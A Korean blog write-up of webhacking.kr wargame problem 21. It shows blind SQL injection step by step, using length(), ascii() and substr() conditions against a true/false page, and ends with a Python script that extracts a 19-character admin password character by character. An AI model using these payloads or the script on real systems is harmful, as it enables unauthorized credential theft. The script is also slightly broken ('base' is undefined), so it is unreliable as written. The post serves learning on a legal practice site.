DoR@Hee의 끄적끄적
webhacking.kr 21번 본문
문제 첫화면 먼가 결과에 따라서 true , false를 출력하는 화면이다.
1과 2를 입력했을땐 true 3이상 숫자를 입력했을 땐 false
또한 input hidden으로 id, pw값도 같이 보내고있다.
먼저 id의 길이를 알아보기 위해, length(id)를 이용해서 id의 길이를 알아보기로했다. 일단 1은 false
노가다로 5를 입력했더니 True
두번째 no =2 의 길이도 알아보기로 했다. 역시 1은 false
5를 입력했을 시 True 5글자면 admin?? 이라고 예상했다. 여기까지 알아본 정보
no |
id |
pw |
1 |
? 5자리 |
? |
2 |
? 5자리 |
? |
이어서 pw의 길이를 알아보기로 했다 역시 1은 false
no= 1의 pw 의 길이는 5자리
역시 no=2 pw의 길이 1는 false
19 true
여기까지 정리된 정보
no |
id |
pw |
1 |
? 5자리 |
? 5자리 |
2 |
? 5자리 |
? 19자리 |
SQL - ascii = 숫자를 아스키코드로 변환할때 사용했다.
SQL - substr = substr(문자열, 시작위치, 나타낼 개수)로 사용했다
즉 ascii(substr(id,1,1))=97은
id칼럼에 첫번째 값이 a인지 확인하는 구문이다.
근데 false인걸로 보아 no =1 의 id값은 admin이 아니다?
혹시 몰라 no =2을 확인해보니 a는 true
ascii 100 = d d도 정답
즉 no = 2 id값은 admin
no |
id |
pw |
1 |
? 5자리 |
? 5자리 |
2 |
admin |
? 19자리 |
pw를 알아내는 방법은 엄청난 노가다가 예상되기때문에 파이썬 코드를 사용했으며, 파이썬에대해서 자세히 공부한적은 없기때문에
구글링을 했다.
(파이썬 공부가 필요할거같다.)
from http import client
conn = client.HTTPConnection(
'webhacking.kr'
,80)
headers = {
'Cookie'
:
'PHPSESSID=본인의 세션아이디'
} # 풀이자 본인의 세션 값을 입력하면 됨
tryList=[]
awsList=[]
for
i in range(97,123): # 아스키 코드 값(영문 소문자) 기반으로 문자열을 정리한다.
tryList.append(chr(i))
for
i in range(1,20): # id의 문자열이 20개이므로 20번 반복해 준다.
for
w in tryList:
url=
"2+and+ascii%28substr%28pw%2c"
+str(i)+
"%2c1%29%29%3d"
+hex(ord(w))+
""
# print(base+url)
conn.request(
'PUT'
, base+url,
''
,headers)
res = conn.getresponse()
resData=res.read() # 가져온 페이지의 데이터를 읽는다.
strRes = str(resData.decode()) # 가져온 페이지의 데이터를 문자열로 형변환한다.
# print(strRes)
n = strRes.find(
"True"
) # 찾은 문자열에 해당하는 인덱스가 담긴다.
if
(n != -1) : # 해당 문자열을 찾았을 경우 (-1은 찾지 못한 경우를 말함)
print(
"i="
+str(i)+
" pw="
+hex(ord(w)) +
" "
+ w)
awsList.append(w)
print(str(awsList))
break
print(
"정답은"
+str(awsList)+
"입니다."
)
conn.close()
출처: https://lidron.tistory.com/95 [이프이푸이푸]
'WarGame > WebHacking.kr' 카테고리의 다른 글
webhacking.kr 23번 (0) | 2019.02.15 |
---|---|
webhacking.kr 22번 (0) | 2019.02.15 |
webhacking.kr 20번 (0) | 2019.02.15 |
webhacking.kr 19번 (0) | 2019.02.15 |
webhacking.kr 18번 (0) | 2019.02.15 |